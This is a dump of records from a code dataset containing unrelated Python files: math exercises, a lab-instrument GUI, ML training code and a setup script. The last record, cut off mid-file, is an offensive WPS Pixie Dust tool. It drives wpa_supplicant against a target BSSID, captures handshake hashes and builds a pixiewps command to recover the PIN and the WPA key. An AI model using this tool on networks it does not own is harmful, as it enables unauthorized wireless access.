sqrt((x[0] - y[0])**2 + (x[1] - y[1])**2)\n\n\ndef closest_points(points):\n distances = []\n for i, x in enumerate(points):\n for j in range(i + 1, len(points)):\n distances.append((x, points[j], dist(x, points[j])))\n\n return sorted(distances, key=lambda t: t[2])\n\n\n\nd = closest_points(points)\nprint(*d, sep='\\n')\n\n","sub_path":"comp4211/problem-set/q7.py","file_name":"q7.py","file_ext":"py","file_size_in_byte":445,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"577038401","text":"from fractions import Fraction\nimport numpy as np\n\ndef linear_eq(a,b,c):\n if a == 0:\n if b == c:\n print('해는 무수히 많다')\n return\n else:\n print('해는 없다')\n return\n else:\n x = Fraction((c-b),a)\n if x.denominator == 1:\n x = int(Fraction(x))\n return x\n \nclass Linear_equation:\n def question(self):\n self.coefficient = np.random.randint(-10,10)\n self.constant1 = np.random.randint(-20,20)\n self.constant2 = np.random.randint(-20,20)\n self.pm = np.random.randint(2)\n if self.pm == 0:\n print(f'{self.coefficient}x + {self.constant1} = {self.constant2}')\n elif self.pm == 1:\n print(f'{self.coefficient}x - {self.constant1} = {self.constant2}')\n \n def answer(self):\n if self.pm == 1:\n self.constant1 *= -1\n x = linear_eq(self.coefficient,self.constant1,self.constant2)\n return x\n\nq1 = Linear_equation() \nq1.question()\nprint(q1.answer())\n","sub_path":"lesson144.py","file_name":"lesson144.py","file_ext":"py","file_size_in_byte":1059,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"81294359","text":"# -*- coding: utf-8; mode: python; indent-tabs-mode: t; tab-width:4 -*-\nimport sys, time, math, os.path\nimport utils\n\nfrom QtVersion import *\n\nimport pyqtgraph as pg\nimport numpy as np\n\nclass Expt(QWidget):\n\tTIMER = 50\n\tRPWIDTH = 300\n\tRPGAP = 4\n\trunning = False\n\t\n\tVMIN = 0\n\tVMAX = 5.9\n\tVSET = VMIN\n\tIMIN = 0\n\tIMAX = 5\n\tSTEP = 0.050\t # 50 mV\n\tdata = [ [], [] ]\n\tcurrentTrace = None\n\ttraces = []\n\tlegends = []\n\thistory = []\t\t# Data store\t\n\ttrial = 0\n\t\n\t\n\tdef __init__(self, device=None):\n\t\tQWidget.__init__(self)\n\t\tself.p = device\t\t\t\t\t\t\t\t\t\t# connection to the device hardware \n\n\t\tself.traceCols = utils.makeTraceColors()\n\t\tself.resultCols = utils.makeResultColors()\n\t\t\n\t\tself.pwin = pg.PlotWidget()\t\t\t\t\t\t\t# pyqtgraph window\n\t\tself.pwin.showGrid(x=True, y=True)\t\t\t\t\t# with grid\n\t\tax = self.pwin.getAxis('bottom')\n\t\tax.setLabel(self.tr('Voltage (V)'))\t\n\t\tax = self.pwin.getAxis('left')\n\t\tax.setLabel(self.tr('Current (mA)'))\n\t\tself.pwin.disableAutoRange()\n\t\tself.pwin.setXRange(self.VMIN, self.VMAX)\n\t\tself.pwin.setYRange(self.IMIN, self.IMAX)\n\t\tself.pwin.hideButtons()\t\t\t\t\t\t\t\t# Do not show the 'A' button of pg\n\n\t\tright = QVBoxLayout()\t\t\t\t\t\t\t# right side vertical layout\n\t\tright.setAlignment(Qt.AlignTop)\n\t\tright.setSpacing(self.RPGAP)\n\t\t\n\t\tH = QHBoxLayout()\n\t\tl = QLabel(text=self.tr('Vbase (via 100kOhm)'))\n\t\tl.setMaximumWidth(140)\n\t\tH.addWidget(l)\n\t\tself.VBtext = utils.lineEdit(40, 1.0, 6, None)\n\t\tH.addWidget(self.VBtext)\n\t\tl = QLabel(text=self.tr('V'))\n\t\tl.setMaximumWidth(10)\n\t\tH.addWidget(l)\n\t\tright.addLayout(H)\n\t\t \n\t\tb = QPushButton(self.tr(\"Start\"))\n\t\tright.addWidget(b)\n\t\tb.clicked.connect(self.start)\t\t\n\t\t\n\t\tb = QPushButton(self.tr(\"Stop\"))\n\t\tright.addWidget(b)\n\t\tb.clicked.connect(self.stop)\t\t\n\t\t\n\t\tb = QPushButton(self.tr(\"Clear Traces\"))\n\t\tright.addWidget(b)\n\t\tb.clicked.connect(self.clear)\t\t\n\n\t\tself.SaveButton = QPushButton(self.tr(\"Save Data\"))\n\t\tself.SaveButton.clicked.connect(self.save_data)\t\t\n\t\tright.addWidget(self.SaveButton)\n\n\n\t\t#------------------------end of right panel ----------------\n\t\t\n\t\ttop = QHBoxLayout()\n\t\ttop.addWidget(self.pwin)\n\t\ttop.addLayout(right)\n\t\t\n\t\tfull = QVBoxLayout()\n\t\tfull.addLayout(top)\n\t\tself.msgwin = QLabel(text='')\n\t\tfull.addWidget(self.msgwin)\n\t\t\t\t\n\t\tself.setLayout(full)\n\t\t\n\t\tself.timer = QTimer()\n\t\tself.timer.timeout.connect(self.update)\n\t\tself.timer.start(self.TIMER)\n\t\t#----------------------------- end of init ---------------\n\n\t\t\t\t\n\tdef update(self):\n\t\tif self.running == False:\n\t\t\treturn\n\t\ttry:\n\t\t\tvs = self.p.set_voltage(self.VSET)\t\n\t\t\ttime.sleep(0.001)\t\n\t\t\tva = self.p.get_voltage(1)\t\t# voltage across the diode\n\t\texcept:\n\t\t\tself.comerr()\n\t\t\treturn \n\t\t\n\t\ti = (vs-va)/1.0 \t \t\t # in mA, R= 1k\n\t\tself.data[0].append(va)\n\t\tself.data[1].append(i)\n\t\tself.VSET += self.STEP\n\t\tif self.VSET > self.VMAX:\n\t\t\tself.running = False\n\t\t\tself.history.append(self.data)\n\t\t\tself.traces.append(self.currentTrace)\n\t\t\tself.msg(self.tr('Completed plotting I-V'))\n\n\t\t\tl = pg.TextItem(text=self.ibtxt, color= self.resultCols[self.trial])\n\t\t\tl.setPos(va,i)\n\t\t\tself.pwin.addItem(l)\n\t\t\tself.legends.append(l)\n\t\t\tself.trial += 1\n\t\t\treturn\n\t\tif self.index > 1:\t\t\t # Draw the line\n\t\t\tself.currentTrace.setData(self.data[0], self.data[1])\n\t\tself.index += 1\n\n\tdef start(self):\n\t\tif self.running == True: return\n\t\ttext = self.VBtext.text()\n\t\ttry:\n\t\t\tvbset = float(text)\n\t\t\tif vbset < .5 or vbset > 3.0:\n\t\t\t\tself.msg(self.tr('Base valtage shold be from .5 to 3'))\n\t\t\t\treturn\n\t\texcept:\n\t\t\tself.msg(self.tr('Invalid Base valtage, shold be from .5 to 3'))\n\t\t\treturn\n\t\t\t\t\n\t\ttry:\n\t\t\tself.p.set_voltage(5.0)\t\t\t\t# Collector to 5V\n\t\t\tself.p.set_sqr2_dc(vbset)\t\t# Set base bias on PV2, via 100 KOhm series resistance\n\t\t\tvb = self.p.get_voltage(2) \t# base voltage\n\t\texcept:\n\t\t\tself.comerr()\n\t\t\treturn \n\t\t\n\t\tif vb < 0.5 or vb > 0.7:\n\t\t\tvb = 0.6\n\t\tibase = (vbset-vb)/100.0e-3 # uA\n\t\tself.ibtxt = 'Ib = %5.3f uA'%ibase\n\t\tself.running = True\n\t\tself.data = [ [], [] ]\n\t\tself.VSET = self.VMIN\n\t\tself.currentTrace = self.pwin.plot([0,0],[0,0], pen = self.traceCols[self.trial%5])\n\t\tself.index = 0\n\t\tself.msg(self.tr('Started'))\n\n\tdef stop(self):\n\t\tif self.running == False: return\n\t\tself.running = False\n\t\tself.history.append(self.data)\n\t\tself.traces.append(self.currentTrace)\n\t\tself.msg(self.tr('User Stopped'))\n\n\tdef clear(self):\n\t\tfor k in self.legends:\n\t\t\tself.pwin.removeItem(k)\n\t\tfor k in self.traces:\n\t\t\tself.pwin.removeItem(k)\n\t\tself.history = []\n\t\tself.trial = 0\n\t\tself.msg(self.tr('Cleared Traces and Data'))\n\t\t\n\tdef save_data(self):\n\t\tif self.history == []:\n\t\t\tself.msg(self.tr('No data to save'))\n\t\t\treturn\n\t\tfn = QFileDialog.getSaveFileName()\n\t\tif fn != '':\n\t\t\tself.p.save(self.history, fn)\n\t\t\tself.msg(self.tr('Traces saved to ') + unicode(fn))\t\t\t\t\n\t\t\n\tdef msg(self, m):\n\t\tself.msgwin.setText(self.tr(m))\n\t\t\n\tdef comerr(self):\n\t\tself.msgwin.setText('' + self.tr('Error. Try Device->Reconnect'))\n\nif __name__ == '__main__':\n\timport eyesjun.eyes\n\tdev = eyesjun.eyes.open()\n\tapp = QApplication(sys.argv)\n\n\t# translation stuff\n\tlang=QLocale.system().name()\n\tt=QTranslator()\n\tt.load(\"lang/\"+lang, os.path.dirname(__file__))\n\tapp.installTranslator(t)\n\tt1=QTranslator()\n\tt1.load(\"qt_\"+lang,\n\t QLibraryInfo.location(QLibraryInfo.TranslationsPath))\n\tapp.installTranslator(t1)\n\n\tmw = Expt(dev)\n\tmw.show()\n\tsys.exit(app.exec_())\n\t\n","sub_path":"eyesjunior/npnCEout.py","file_name":"npnCEout.py","file_ext":"py","file_size_in_byte":5284,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"459874390","text":"from utils import *\r\nfrom clarifai_basic import ClarifaiCustomModel\r\nfrom token import app_id, app_secret\r\n\r\nclass Client(object):\r\n def __init__(self):\r\n self.clarifai = ClarifaiCustomModel(app_id, app_secret)\r\n self.jdata = getAllJSONData()\r\n\r\n def processImage(self, latitude, longitude, url, homelat, homelong):\r\n concept = self.__processImage(latitude, longitude, url)\r\n if concept is None:\r\n return None\r\n return self.__getInfos(concept, homelat, homelong)\r\n\r\n def __processImage(self, latitude, longitude, url):\r\n filtered = getConceptsByGPS(latitude, longitude, self.jdata, 1)\r\n results = []\r\n for concept, _ in filtered:\r\n result = self.clarifai.predict(url, concept)\r\n results.append([concept, result[\"urls\"][0][\"score\"]])\r\n results = sorted(results, key=lambda pair: pair[1], reverse=True)\r\n if len(results) == 0:\r\n return None\r\n result = results[0]\r\n if result[1] < 0.5:\r\n return None\r\n return result[0]\r\n\r\n def processImageDebug(self, url):\r\n print(\"Start recognizing...\")\r\n filtered = getConceptsByGPS(0, 0, self.jdata, 40000)\r\n results = []\r\n count = len(filtered)\r\n for concept, _ in filtered:\r\n result = self.clarifai.predict(url, concept)\r\n results.append([concept, result[\"urls\"][0][\"score\"]])\r\n results = sorted(results, key=lambda pair: pair[1], reverse=True)\r\n if len(results) == 0:\r\n return None\r\n result = results[0]\r\n if result[1] < 0.5:\r\n return None\r\n return result[0]\r\n\r\n\r\n def getInfos(self, concept):\r\n target = self.jdata[concept]\r\n\r\n name = target[\"name\"]\r\n city = target[\"city\"]\r\n\r\n return (name, city)\r\n\r\n\r\n def __getInfos(self, concept, homelat, homelong):\r\n target = self.jdata[concept]\r\n\r\n name = target[\"name\"]\r\n city = \"NiHier\" # target[\"city\"]\r\n tlong = target[\"longitude\"]\r\n tlat = target[\"latitude\"]\r\n distance = distance_on_unit_sphere(homelat, homelong, tlat, tlong)\r\n\r\n return (name, distance, city)\r\n","sub_path":"demo/App/Client.py","file_name":"Client.py","file_ext":"py","file_size_in_byte":2202,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"357470958","text":"import time\nimport os\nimport array\nimport json\nimport zipfile\nimport argparse\nimport shutil\n\nFAKED_DIRECTORY_PREFIX = \"/tmp/faked_data_archive-%d\"\nARCHIVE_FILE = \"/tmp/data.zip\"\n\n\ndef removeContent(data, key=\"\"):\n data_type = type(data).__name__\n if data_type == \"list\":\n for index, sub_data in enumerate(data):\n data[index] = removeContent(sub_data)\n elif data_type == \"dict\":\n for key in data:\n data[key] = removeContent(data[key], key)\n elif data_type == \"int\":\n if key.find(\"timestamp_ms\") >= 0:\n return int(time.time() * 1000)\n elif key.find(\"timestamp\") >= 0:\n return int(time.time())\n return 0\n elif data_type == \"str\" or data_type == \"unicode\":\n if key.startswith(\"ip\") or key.endswith(\"ip\"):\n return \"8.8.8.8\"\n elif key == \"uri\":\n return \"photos_and_videos/blank.jpg\"\n elif key == \"url\":\n return \"https://www.google.com\"\n elif key == \"reaction\":\n return data\n elif len(data) > 0:\n return data[0]\n return \"\"\n elif data_type == \"float\":\n return 0.0\n elif data_type == \"bool\":\n return False\n else:\n raise TypeError(\"unhandled type: \" + data_type)\n return data\n\n\ndef create_blank_image(filename):\n width, height = 800, 600\n PPMheader = 'P6\\n' + str(width) + ' ' + str(height) + '\\n255\\n'\n image = array.array('B', [255, 255, 255] * width * height)\n\n try:\n os.makedirs(os.path.dirname(filename))\n except:\n pass\n\n with open(filename, 'wb') as f:\n f.write(bytearray(PPMheader, 'ascii'))\n image.tofile(f)\n\n\ndef gen_fake_data(source_directory, archive_file):\n fake_directory = FAKED_DIRECTORY_PREFIX % int(time.time())\n create_blank_image(\n os.path.join(fake_directory, \"photos_and_videos\", \"blank.jpg\"))\n\n total_file_count = 1\n archived_file_count = 0\n\n for root, dir, files in os.walk(source_directory):\n if \".git\" in root:\n continue\n try:\n os.makedirs(root.replace(source_directory, fake_directory))\n except:\n pass\n\n for filename in files:\n filepath = os.path.join(root, filename)\n fake_filepath = filepath.replace(source_directory, fake_directory)\n if filename.endswith(\".json\"):\n total_file_count += 1\n with open(filepath) as r:\n rootData = json.loads(r.read())\n with open(fake_filepath, 'w') as w:\n json.dump(removeContent(rootData), w, indent=2)\n\n zipf = zipfile.ZipFile(archive_file, 'w', zipfile.ZIP_DEFLATED)\n for root, dirs, files in os.walk(fake_directory):\n for filename in files:\n filename = os.path.join(root, filename)\n fake_filepath = filename.replace(fake_directory, \"\")\n zipf.write(filename, fake_filepath)\n archived_file_count += 1\n print(\"Archive %s -> %s (%d / %d)\" %\n (filename, fake_filepath, archived_file_count,\n total_file_count))\n zipf.close()\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(\n description='Fake Facebook data generator')\n parser.add_argument(\"-s\",\n \"--source-directory\",\n help=\"facebook data source\",\n dest=\"source\",\n default=\"\")\n parser.add_argument(\"-o\",\n \"--archive-file\",\n help=\"facebook fake data archive file path\",\n dest=\"archive_file\",\n default=ARCHIVE_FILE)\n args = parser.parse_args()\n\n source_dir = args.source\n archive_file = args.archive_file\n if not source_dir:\n raise ValueError(\"invalid data source\")\n\n if not archive_file:\n raise ValueError(\"invalid archive file path\")\n\n os.stat(source_dir)\n gen_fake_data(source_dir, archive_file)\n\n print(\"Archive file is generated at: %s\" % archive_file)\n","sub_path":"data-parser/scripts/fake-fbdata-generator.py","file_name":"fake-fbdata-generator.py","file_ext":"py","file_size_in_byte":4090,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"192608213","text":"\ndef charges():\n units=int(input(\"Enter the unit here: \")) \n charge=0\n\n if units>0 and units<=120:\n charge=units*5.45\n print('Your charge is {}'.format(charge))\n\n elif units>120 and units<=240:\n charge=654+(units-120)*6.7\n print('Your charge is {}'.format(charge))\n else:\n charge=654+804+(units-240)*7.7\n print('Your charge is {}'.format(charge))\n\n\n\ndef quantity_consumed():\n units=input(\"Enter the unit here: \") \n hour=input(\"Enter an hour between 1 to 24\")\n if int(hour)>0 and int(hour)<=24:\n kilowatt_per_hour= int(units)*int(hour)\n print('The quantity consumed is {}'.format(kilowatt_per_hour))\n\n else:\n print('The hour you entered is invalid')\n\n\n\nprint(charges())\nprint(quantity_consumed())\n \n","sub_path":"electricity meter reading.py","file_name":"electricity meter reading.py","file_ext":"py","file_size_in_byte":799,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"543061469","text":"# AdaBoost classification with n fold cross validation\n#===============================================================\n# INPUT:\n# 1) location of files: libsvm file + indexes file (rowId, index)\n# 2) \n#\n# OUTPUT:\n# it returns a file with indexes merged with prediction for test index \n#================================================================\nimport numpy as np\n#from collections import OrderedDict\nimport os\nimport sys\nimport timeit\nimport math\nfrom sklearn.ensemble import AdaBoostClassifier\nfrom scipy.sparse import coo_matrix,csr_matrix,vstack,hstack\n#from sklearn.feature_selection import SelectFromModel\nfrom sklearn.externals.joblib import Memory\n#from sklearn.datasets import load_svmlight_file\nfrom sklearn.externals import joblib\n\n#================================================================\ndef train_adaboost(population, plpData, train, n_estimators, learning_rate, modelOutput, seed, quiet):\n print(\"Training AdaBoost model \" )\n y = population[:,1]\n X = plpData[population[:,0].astype(int),:]\n trainInds =population[:,population.shape[1]-1] >0\n print(\"Dataset has %s rows and %s columns\" %(X.shape[0], X.shape[1]))\n print(\"population loaded- %s rows and %s columns\" %(np.shape(population)[0], np.shape(population)[1]))\n ###########################################################################\n if train:\n pred_size = int(np.sum(population[:,population.shape[1]-1] > 0))\n print(\"Calculating prediction for train set of size %s\" %(pred_size))\n test_pred = np.zeros(pred_size)# zeros length sum(population[:,population.size[1]] ==i)\n for i in range(1, int(np.max(population[:,population.shape[1]-1])+1), 1):\n testInd =population[population[:,population.shape[1]-1] > 0,population.shape[1]-1] ==i\n trainInd = (population[population[:,population.shape[1]-1] > 0,population.shape[1]-1] !=i)\n train_x = X[trainInds,:][trainInd,:]\n train_y = y[trainInds][trainInd]\n test_x = X[trainInds,:][testInd,:]\t\n print(\"Fold %s split %s in train set and %s in test set\" %(i, train_x.shape[0], test_x.shape[0]))\n print(\"Train set contains %s outcomes \" %(np.sum(train_y)))\n print(\"Training fold %s\" %(i))\n start_time = timeit.default_timer()\t\n adab = AdaBoostClassifier(n_estimators=n_estimators, learning_rate=learning_rate, algorithm='SAMME.R', random_state=seed)\n adab = adab.fit(train_x, train_y)\n end_time = timeit.default_timer()\n print(\"Training fold took: %.2f s\" %(end_time-start_time))\n print(\"Calculating predictions on left out fold set...\")\n ind = (population[:,population.shape[1]-1] > 0)\n ind = population[ind,population.shape[1]-1]==i\n test_pred[ind] = adab.predict_proba(test_x)[:,1]\n print(\"Prediction complete: %s rows \" %(np.shape(test_pred[ind])[0]))\n print(\"Mean: %s prediction value\" %(np.mean(test_pred[ind])))\n # merge pred with indexes[testInd,:]\n test_pred.shape = (population[population[:,population.shape[1]-1] > 0,:].shape[0], 1)\n prediction = np.append(population[population[:,population.shape[1]-1] > 0,:],test_pred, axis=1)\n return prediction;\n # train final:\n else:\n print(\"Training final adaBoost model on all train data...\")\n print(\"X- %s rows and Y %s length\" %(X[trainInds,:].shape[0], y[trainInds].shape[0]))\n start_time = timeit.default_timer()\t\n adab = AdaBoostClassifier(n_estimators=n_estimators, learning_rate=learning_rate, algorithm='SAMME.R', random_state=seed)\n adab = adab.fit(X[trainInds,:], y[trainInds])\n end_time = timeit.default_timer()\n print(\"Training final took: %.2f s\" %(end_time-start_time))\n # save the model:\n if not os.path.exists(modelOutput):\n os.makedirs(modelOutput)\n print(\"Model saved to: %s\" %(modelOutput)\t)\n joblib.dump(adab, os.path.join(modelOutput,\"model.pkl\")) \n pred = adab.predict_proba(X[trainInds,:])[:,1]\n pred.shape = (population[population[:,population.shape[1]-1] > 0,:].shape[0], 1)\n prediction = np.append(population[population[:,population.shape[1]-1] > 0,:],pred, axis=1)\n return prediction, adab.feature_importances_;\n","sub_path":"inst/python/adaBoostFunctions.py","file_name":"adaBoostFunctions.py","file_ext":"py","file_size_in_byte":4098,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"4830371","text":"#!/usr/bin/python\n\n__doc__ = \"4.9 fifth edition\"\n\nfrom node import Node\n\n\ndef print_path(pathList, node, sumK):\n if not node:\n return\n pathList.append(node.val)\n currSum = 0\n for i in range(len(pathList) - 1, -1, -1):\n currSum += pathList[i]\n if currSum == sumK:\n print(pathList[i:])\n\n print_path(pathList, node.left, sumK)\n print_path(pathList, node.right, sumK)\n pathList.pop()\n\n\nif __name__ == \"__main__\":\n root = Node(1)\n root.left = Node(2)\n root.right = Node(4)\n root.left.left = Node(2)\n root.left.left.right = Node(3)\n root.left.left.right.left = Node(-3)\n root.right.left = Node(-2)\n root.right.left.right = Node(3)\n root.right.right = Node(-4)\n root.right.right.right = Node(6)\n root.right.right.right.left = Node(-2)\n\n pathList = []\n print_path(pathList, root, 5)\n\n","sub_path":"Algos/Trees/printPathSum.py","file_name":"printPathSum.py","file_ext":"py","file_size_in_byte":868,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"508944768","text":"\"\"\"\n피타고라스 공식을 이용해서 2명의 유사도를 구하기\n영화 1개를 비교하여 구한다.\n\"\"\"\nfrom math import sqrt, log\n\n\n# 유클리드 거리\ndef calc_len(a, b):\n return sqrt(pow(a, 2) + pow(b, 2))\n\n\n# 샘플 데이터\n# gog, 8c, bb\ndata = {\n 'hhd': [5, 4, 1.5],\n 'chc': [0, 5, 2], #\n 'kmh': [2.5, 1, 1],\n 'leb': [3.5, 4, 5] #\n}\n\n# 모든 사람에게 유사도 거리 구하기\nfor x in data:\n if x == 'chc':\n continue\n\n temp_hc = data['chc']\n temp_eb = data[x]\n\n width = temp_hc[2] - temp_eb[2]\n height = temp_hc[1] - temp_eb[1]\n\n # 정규화\n # 값이 크면 가장 유서도가 높음\n distance = 1 / (1 + calc_len(width, height))\n\n print('{} {}'.format(x, distance))\n","sub_path":"CollaborativeFiltering/ex1.py","file_name":"ex1.py","file_ext":"py","file_size_in_byte":749,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"587719808","text":"import redis\nimport numpy as np\nimport string\n\nall_characters = string.printable\n\nr = redis.Redis(host='localhost', port=6379, db=0)\nhidden_size = 300\nn_layers = 2\nbatch_size = 1\n\nfilepath = '../models/CharRNN/CharRNN_pipeline.pt'\n\ndef int2str(int_data):\n return ''.join([all_characters[i] for i in int_data])\n\nwith open(filepath, 'rb') as f:\n model = f.read()\n\nout1 = r.execute_command('AI.MODELSET', 'charRnn', 'TORCH', 'CPU', model)\nhidden = np.zeros((n_layers, batch_size, hidden_size), dtype=np.float32)\nout2 = r.execute_command(\n\t'AI.TENSORSET', 'hidden', 'FLOAT',\n\tn_layers, batch_size, hidden_size,\n\t'BLOB', hidden.tobytes())\nout3 = r.execute_command('AI.TENSORSET', 'prime', 'INT64', 1, 'VALUES', 5)\nout4 = r.execute_command('AI.MODELRUN', 'charRnn', 'INPUTS', 'prime', 'hidden', 'OUTPUTS', 'out')\nout5 = r.execute_command('AI.TENSORGET', 'out', 'VALUES')\npara = int2str(out5[2])\nprint(para)\n\n","sub_path":"python_client/char_rnn.py","file_name":"char_rnn.py","file_ext":"py","file_size_in_byte":908,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"360459906","text":"import os\nimport platform\nimport setuptools\n\n\nabout = {}\nwith open(\"lightwood/__about__.py\") as fp:\n exec(fp.read(), about)\n\n\ndef remove_requirement(requirements, name):\n return [x for x in requirements if name != x.split(' ')[0]]\n\nos = platform.system()\n\nwith open(\"README.md\", \"r\") as fh:\n long_description = fh.read()\n\nwith open('requirements.txt') as req_file:\n requirements = req_file.read().splitlines()\n\ndependency_links = []\n\n# Linux specific requirements\nif os == 'Linux':\n requirements = remove_requirement(requirements,'torch')\n requirements.append('torch == 1.1.0')\n\n# OSX specific requirements\nif os == 'Darwin':\n requirements = requirements\n\n# Windows specific requirements\nif os == 'Windows':\n requirements = remove_requirement(requirements,'torch')\n requirements = remove_requirement(requirements,'torchvision')\n requirements.append('torch == 1.1.0.0')\n requirements.append('torchvision == 0.3.0.0')\n\n #dependency_links.append('https://download.pytorch.org/whl/cpu/torch-1.1.0-cp37-cp37m-win_amd64.whl#egg=torch-1.1.0.0')\n #dependency_links.append('https://download.pytorch.org/whl/cpu/torchvision-0.3.0-cp37-cp37m-win_amd64.whl#egg=torchvision-0.3.0.0')\n dependency_links.append('https://download.pytorch.org/whl/cu100/torch-1.1.0-cp37-cp37m-win_amd64.whl#egg=torch-1.1.0.0')\n dependency_links.append('https://download.pytorch.org/whl/cu100/torchvision-0.3.0-cp37-cp37m-win_amd64.whl#egg=torchvision-0.3.0.0')\n\nsetuptools.setup(\n name=about['__title__'],\n version=about['__version__'],\n url=about['__github__'],\n download_url=about['__pypi__'],\n license=about['__license__'],\n author=about['__author__'],\n author_email=about['__email__'],\n description=about['__description__'],\n long_description=long_description,\n long_description_content_type=\"text/markdown\",\n packages=setuptools.find_packages(),\n install_requires=requirements,\n dependency_links=dependency_links,\n classifiers=(\n \"Programming Language :: Python :: 3\",\n \"License :: OSI Approved :: MIT License\",\n \"Operating System :: OS Independent\",\n ),\n python_requires=\">=3.6\"\n)\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":2167,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"209224701","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\nimport sys\nimport subprocess\nimport os\nimport tempfile\nimport shutil\nimport re\nimport codecs\n\n\nclass Data():\n def __init__(self):\n self.pke = ''\n self.pkr = ''\n self.e_hash1 = ''\n self.e_hash2 = ''\n self.authkey = ''\n self.e_nonce = ''\n self.wpa_psk = ''\n self.state = ''\n\n def clear(self):\n self.__init__()\n\n def got_all(self):\n return self.pke and self.pkr and self.e_nonce and self.authkey and self.e_hash1 and self.e_hash2\n\n def get_pixie_cmd(self, full_range=False):\n pixiecmd = \"pixiewps --pke {} --pkr {} --e-hash1 {} --e-hash2 {} --authkey {} --e-nonce {}\".format(\n self.pke, data.pkr, self.e_hash1, self.e_hash2, self.authkey, self.e_nonce)\n if full_range:\n pixiecmd += ' --force'\n return pixiecmd\n\n\nclass Options():\n def __init__(self):\n self.interface = None\n self.bssid = None\n self.pin = None\n self.essid = None\n self.pixiemode = False\n self.full_range = False\n self.showpixiecmd = False\n self.verbose = False\n\n\ndef shellcmd(cmd):\n proc = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, encoding='utf-8')\n result = proc.stdout.read()\n proc.wait()\n return result\n\n\ndef recvuntil(pipe, what):\n s = ''\n while True:\n inp = pipe.stdout.read(1)\n if inp == '':\n return s\n s += inp\n if what in s:\n return s\n\n\ndef run_wpa_supplicant(options):\n options.tempdir = tempfile.mkdtemp()\n with tempfile.NamedTemporaryFile(mode='w', suffix='.conf', delete=False) as temp:\n temp.write(\"ctrl_interface={}\\nctrl_interface_group=root\\nupdate_config=1\\n\".format(options.tempdir))\n options.tempconf = temp.name\n cmd = 'wpa_supplicant -K -d -Dnl80211,wext,hostapd,wired -i{} -c{}'.format(options.interface, options.tempconf)\n proc = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, encoding='utf-8')\n return proc\n\n\ndef run_wpa_cli(options):\n cmd = 'wpa_cli -i{} -p{}'.format(options.interface, options.tempdir)\n proc = subprocess.Popen(cmd, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE,\n stderr=subprocess.STDOUT, encoding='utf-8')\n recvuntil(proc, '\\n>')\n return proc\n\n\ndef wps_reg(options):\n cmd = 'wpa_cli -i{} -p{}'.format(options.interface, options.tempdir)\n command = 'wps_reg {} {}\\nquit\\n'.format(options.bssid, options.pin)\n proc = subprocess.run(cmd, shell=True, input=command, stdout=subprocess.PIPE,\n stderr=subprocess.STDOUT, encoding='utf-8')\n status = False\n if 'OK' in proc.stdout:\n status = True\n return status\n\n\ndef ifaceUp(iface, down=False):\n if down:\n action = 'down'\n else:\n action = 'up'\n cmd = 'ip link set {} {}'.format(iface, action)\n res = subprocess.run(cmd, shell=True, stdout=subprocess.PIPE)\n if res.returncode == 0:\n return True\n else:\n return False\n\n\ndef statechange(data, old, new):\n data.state = new\n return True\n\n\ndef get_hex(line):\n a = line.split(':', 3)\n return a[2].replace(' ', '').upper()\n\n\ndef process_wpa_supplicant(pipe, options, data):\n line = pipe.stdout.readline()\n if line == '':\n pipe.wait()\n return False\n line = line.rstrip('\\n')\n\n if options.verbose: sys.stderr.write(line + '\\n')\n\n if line.startswith('WPS: '):\n if 'Building Message M' in line:\n statechange(data, data.state, 'M' + line.split('Building Message M')[1])\n print('[*] Sending WPS Message {}...'.format(data.state))\n elif 'Received M' in line:\n statechange(data, data.state, 'M' + line.split('Received M')[1])\n print('[*] Received WPS Message {}'.format(data.state))\n elif 'Received WSC_NACK' in line:\n statechange(data, data.state, 'WSC_NACK')\n print('[*] Received WSC NACK')\n elif 'Enrollee Nonce' in line and 'hexdump' in line:\n data.e_nonce = get_hex(line)\n assert(len(data.e_nonce) == 16*2)\n if options.pixiemode: print('[P] E-Nonce: {}'.format(data.e_nonce))\n elif 'DH own Public Key' in line and 'hexdump' in line:\n data.pkr = get_hex(line)\n assert(len(data.pkr) == 192*2)\n if options.pixiemode: print('[P] PKR: {}'.format(data.pkr))\n elif 'DH peer Public Key' in line and 'hexdump' in line:\n data.pke = get_hex(line)\n assert(len(data.pke) == 192*2)\n if options.pixiemode: print('[P] PKE: {}'.format(data.pke))\n elif 'AuthKey' in line and 'hexdump' in line:\n data.authkey = get_hex(line)\n assert(len(data.authkey) == 32*2)\n if options.pixiemode: print('[P] AuthKey: {}'.format(data.authkey))\n elif 'E-Hash1' in line and 'hexdump' in line:\n data.e_hash1 = get_hex(line)\n assert(len(data.e_hash1) == 32*2)\n if options.pixiemode: print('[P] E-Hash1: {}'.format(data.e_hash1))\n elif 'E-Hash2' in line and 'hexdump' in line:\n data.e_hash2 = get_hex(line)\n assert(len(data.e_hash2) == 32*2)\n if options.pixiemode: print('[P] E-Hash2: {}'.format(data.e_hash2))\n elif 'Network Key' in line and 'hexdump' in line:\n data.wpa_psk = bytes.fromhex(get_hex(line)).decode('utf-8')\n statechange(data, data.state, 'GOT_PSK')\n\n elif ': State: ' in line:\n statechange(data, *line.split(': State: ')[1].split(' -> '))\n if '-> SCANNING' in line:\n print('[*] Scanning...')\n elif 'WPS-FAIL' in line:\n statechange(data, data.state, 